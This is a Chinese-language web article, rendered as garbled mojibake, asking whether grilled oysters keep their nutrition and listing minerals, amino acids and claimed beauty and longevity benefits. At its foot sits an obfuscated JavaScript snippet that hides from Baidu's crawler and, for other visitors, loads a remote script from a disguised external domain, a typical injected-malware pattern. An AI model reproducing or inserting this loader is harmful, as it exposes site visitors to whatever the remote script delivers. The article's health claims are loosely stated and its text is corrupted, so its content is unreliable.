當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

烤生蠔還具有營養(yǎng)嗎?

2017-07-07 12:41:07  來源:360常識網(wǎng)   熱度:
導(dǎo)語:我們都知道生蠔是一種營養(yǎng)價(jià)值頗高的食物,但是烤生蠔還具有營養(yǎng)嗎?這是我們需要研究的問題,因?yàn)榭玖说纳柡托迈r的生蠔是完全不一樣的,

我們都知道生蠔是一種營養(yǎng)價(jià)值頗高的食物,但是烤生蠔還具有營養(yǎng)嗎?這是我們需要研究的問題,因?yàn)榭玖说纳柡托迈r的生蠔是完全不一樣的,我們不是特別清楚生蠔被燒烤了,自身的營養(yǎng)價(jià)值會不會有變化,一般情況下,應(yīng)該不會的,但是這個(gè)問題還是需要仔細(xì)研究的。生蠔是一種對身體非常有利的食物,我們需要了解它的自身營養(yǎng)成份。

含80%~95%的碳酸鈣、磷酸鈣及硫酸鈣,并含鎂、鋁、硅及氧化鐵等.牡蠣煅燒后碳酸鹽分解,產(chǎn)生氧化鈣等.牡蠣原動(dòng)物含糖原, ?;撬?,10種必需的氨基酸,谷胱甘肽,維生素A、B1.B2.D,無機(jī)質(zhì)如銅、鋅、錳、鋇、磷及鈣等,其中所含的亮氨酸、精氨酸、瓜氨酸含量最豐富,是迄今為止人類所發(fā)現(xiàn)的含量最為高的海洋物種之一。

生蠔肉肥美爽滑,味道鮮美,營養(yǎng)豐富,素有“海底牛奶”之美稱。據(jù)分析,干生蠔肉含蛋白質(zhì)高達(dá)45%~57%、脂肪7%~11%、肝糖19%~38%。此外,還含有多種維生素及?;撬岷外}、磷、鐵、鋅等營養(yǎng)成分。鈣含量接近牛奶的1倍,鐵含量為牛奶的21倍,是健膚美容和防治疾病的珍貴食物。

生蠔含18種氨基酸、肝糖元、B族維生素、?;撬岷外}、磷、鐵、鋅等營養(yǎng)成分,常吃可以提高機(jī)體免疫力。牡蠣所含?;撬峤笛⒔笛獕?。

細(xì)膚美顏

生蠔中鈣使皮膚滑潤、銅使膚色好看,看起來特別有血色;鉀可治療皮膚干燥及粉刺;維生素也可以使皮膚光潤,同時(shí)可以調(diào)節(jié)油脂的分泌。

延年益壽

生蠔富含核酸,核酸在蛋白質(zhì)合成中起重要作用,因而能延緩皮膚老化,減少皺紋的形成。隨著年齡的增長,人體合成核酸的能力逐漸降低,只能從食物中攝取,人們?nèi)粘K嫷呐D淘谶@方面明顯不及“海底牛奶”。

因此烤生蠔也是具有豐富的營養(yǎng)價(jià)值的。

綜上所述就是關(guān)于烤生蠔還具有營養(yǎng)的問題,那么我們都清楚了,生蠔即使是烤了吃對它自身的營養(yǎng)價(jià)值不會有太大的影響的。所以生蠔我們平時(shí)可以選擇適當(dāng)?shù)某砸恍?,但是做法是有很多的,而且一般都不會影響營養(yǎng)價(jià)值。因此我們可以多為家里人制作好吃的生蠔。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}